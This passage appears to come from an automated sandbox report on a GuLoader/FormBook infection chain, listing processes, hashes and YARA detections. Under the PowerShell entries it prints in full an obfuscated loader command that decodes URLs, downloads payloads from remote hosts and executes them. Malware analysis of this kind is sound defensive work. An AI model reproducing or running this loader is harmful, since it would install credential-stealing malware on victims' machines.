Hyp4ArchS indt Forr buriFod.ns erg utd(Ank $ ncoDBe hdM.disH lisS.ssp meni LitrLavaaSnurlVedl) udd ');Furnage (Naturvrdi 'Phen$Prjsg N.rlPolyODustBBro,aForblRede: ForTFrihYIndtp Ry e .phSBackITypoTD.saUForbA Ba.tAppeIStr,o UndnF lkeKoenrGa e Efte=undi Bort[skydS InnY yrlsBli T mvuENonem Sam.Il.uT .uiENedvx Oritcere.UndeEAstrnelloC Lano EccDSchnIHydrNFalsg Bag]Inde:Unel:SvinALau sRehyCDistiBl.oIForn.Ind,gSupeENic tHumiSStorTPseurProai san,priG Jes(Mamm$Ta lM OutUDataS admkSou,EhandlOvermMis,AStalnKontdOpst)Deci ');Furnage (Naturvrdi ' rag$B.ttgQuerlRehyO Br B adAFoe,lK nt:unplOAdreupatrt pttBhuggIJakedPe,i=Zoot$Loe tKanoY roepRhodEc ugS KunI,oilt.mpouNoncaIn stpolyIoutdo ntanUnexESmu.RAvis.NonisWun U di.bSelvsKap,tAnguRFrisiWe rnPrisG Han( cou$FrakeAfspRSnooHTripOHaanLCourD s.anReduc eceoDuplNkoefcK.hoEFresI AanV KolASup bMi llKarbYVer ,Selv$d giRBoweeDeban MaxsRecte HexkAfblrSpovERe,sMProhe GymrDank)Uops ');Furnage $Outbid;"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.2374208348.0000019E36F60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	09:31:16
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	09:31:29
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dOtailBSvo j orteProgc R ntOpst BestsQuadyDialsMoritEdeleInusm dea.reden DumEBonntS.ve.splawTyraekr.mbEs iCHalvLEisei TraEUd aNSno T er ');Furnage ($Afbrnde);Furnage (Naturvrdi ' Ind$Inf kGermaAarssB usk.orge Fr l ostoRa.ct CogtSpaceN kor,mdrnPa ae.olysBibe. Ep,HMelleBa taTilmdR,mseYpperSheasSovs[Illi$Po fTKonseOpvaoFa isRe eosemifOpthiEk.kss,ad]Medb=Til.$ActiPInterRedaeRu prOpereDis c El.edel iCui vMedseDagsdTa.p ');$Gougers=Naturvrdi 'Over$ Ma k Nepa S nsShagka,daeSnazl preoPetrt MartTrosePrisrKlemnS.gee Blrs Sti.AmmiDOncoobitewMultnNonslP choMulkaSc rdWil FsoftiQuinlfej eR bi(pol,$BlomS VomoCenoyR dib Uk,e acsa Antn U i,G il$ Re.AHuzzdar eeIndgn A,tiU.spa Afs) Dat ';$Adenia=$Predicable;Furnage (Naturvrdi 'Beja$ nrogJo nLBy.goUddabGrowAUnatLL ep:MellpVandaSpintR coEA.toR UnnE No RVaarO bou=Wish(S.raTfolkeMtn s kaiTUnde- F rP.tera G lTM deHKok. Ho t$Reala egdMisse .ndnVarmiVibrA sno) ,le ');while (!$Paterero) {Furnage (Naturvrdi 'Dyn $Rom gS bllP rlosetlbLuftaUni l unk:GarbHNonvoAyunmOkkeoOvertBedvyUnfapSoire No = Div$And t Walr Paau Pa eAfho ') ;Furnage $Gougers;Furnage (Naturvrdi 'F,rns I dTDypkA Palr tret itn-,gissForyl Mane VirEDumhP Ma. Lir,4anac ');Furnage (Naturvrdi 'Eska$Ref gIndulSk hoSheabDra ASignlSlag:Kdg PGla AUnret HoseTrivRViscE owhr ippo F l= mn( OveTFa,lEDecoSTrinT mbr-BewrpKommA.ondtU laH ecu Kro$ RegaSt nD BrueBu gn RanIOrdkaSkin)Moly ') ;Furnage (Naturvrdi ' Grn$s,pegTi,tLFalhoCal bUnsaAMusalElev:GurlWS,biRSea I To,TTeg,hTeagE,ndeRFails roc5skob9lyri= Sap$ ,epGWithlPronO SymB S.aa Or.LMono: F.tA vkPSteapLiveRRnenEDeskHEmbaeTe eN ndSBeatiOvervS.awe LaaLUp.rYElek7I tu6Ma i+Bilt+S oo%Forp$Kaldo IndP NovTskovrJernVMesol Sube udrtBoga2Me a2Ambr7 kri.GasdCForsO vrdUStreN natKone ') ;$Soybean=$Optrvlet227[$Writhers59];}$Erholdnconceivably=340877;$Rensekremer=29893;Furnage (Naturvrdi ' Pr $Piscg GrolEbulo sagbCappAeffelStar:Ryddd ChudUnresSpges rsePGuntiM siR oapaPithlrad. tan=Unmi SquiGphleE verTSup.- pblcFrstoE.plNGlobTwhi EStpaNSkrit Sol Abvb$ b daC.ckdRetfeOxydN FreIMelaaSkar ');Furnage (Naturvrdi 'Lasi$Banagsen,lStatoBestb utaFo ul Fyr: V,nMVigtu S.jsTankkAgroeTrubl HermNiphaG.dlnwarrdPhag Id.= lyn Suba[,ponS Re yHjlpsVisutPolaeokkumCome.Sp,rC .ato,lebnPer.vOldheTuberCatktArch]pr d:ordi: StrFPolyrEmuloSon,mUvilBM taaPantsHalfeGlas6 Hyp4ArchS indt Forr buriFod.ns erg utd(Ank $ ncoDBe hdM.disH lisS.ssp meni LitrLavaaSnurlVedl) udd ');Furnage (Naturvrdi 'Phen$Prjsg N.rlPolyODustBBro,aForblRede: ForTFrihYIndtp Ry e .phSBackITypoTD.saUForbA Ba.tAppeIStr,o UndnF lkeKoenrGa e Efte=undi Bort[skydS InnY yrlsBli T mvuENonem Sam.Il.uT .uiENedvx Oritcere.UndeEAstrnelloC Lano EccDSchnIHydrNFalsg Bag]Inde:Unel:SvinALau sRehyCDistiBl.oIForn.Ind,gSupeENic tHumiSStorTPseurProai san,priG Jes(Mamm$Ta lM OutUDataS admkSou,EhandlOvermMis,AStalnKontdOpst)Deci ');Furnage (Naturvrdi ' rag$B.ttgQuerlRehyO Br B adAFoe,lK nt:unplOAdreupatrt pttBhuggIJakedPe,i=Zoot$Loe tKanoY roepRhodEc ugS KunI,oilt.mpouNoncaIn stpolyIoutdo ntanUnexESmu.RAvis.NonisWun U di.bSelvsKap,tAnguRFrisiWe rnPrisG Han( cou$FrakeAfspRSnooHTripOHaanLCourD s.anReduc eceoDuplNkoefcK.hoEFresI AanV KolASup bMi llKarbYVer ,Selv$d giRBoweeDeban MaxsRecte HexkAfblrSpovERe,sMProhe GymrDank)Uops ');Furnage $Outbid;"
Imagebase:	0x370000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000006.00000002.2667370891.0000000008940000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.2667645676.000000000A5A8000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	09:31:29
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	09:31:58
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0xdb0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000A.00000002.3167965625.00000000054F8000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	09:32:44
Start date:	22/10/2024
Path:	C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe"
Imagebase:	0xc00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	09:32:46
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\cmdkey.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmdkey.exe"
Imagebase:	0xa50000
File size:	17'408 bytes
MD5 hash:	6CDC8E5DF04752235D5B4432EACC81A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	13
Start time:	09:33:00
Start date:	22/10/2024
Path:	C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe"
Imagebase:	0xc00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	09:33:14
Start date:	22/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false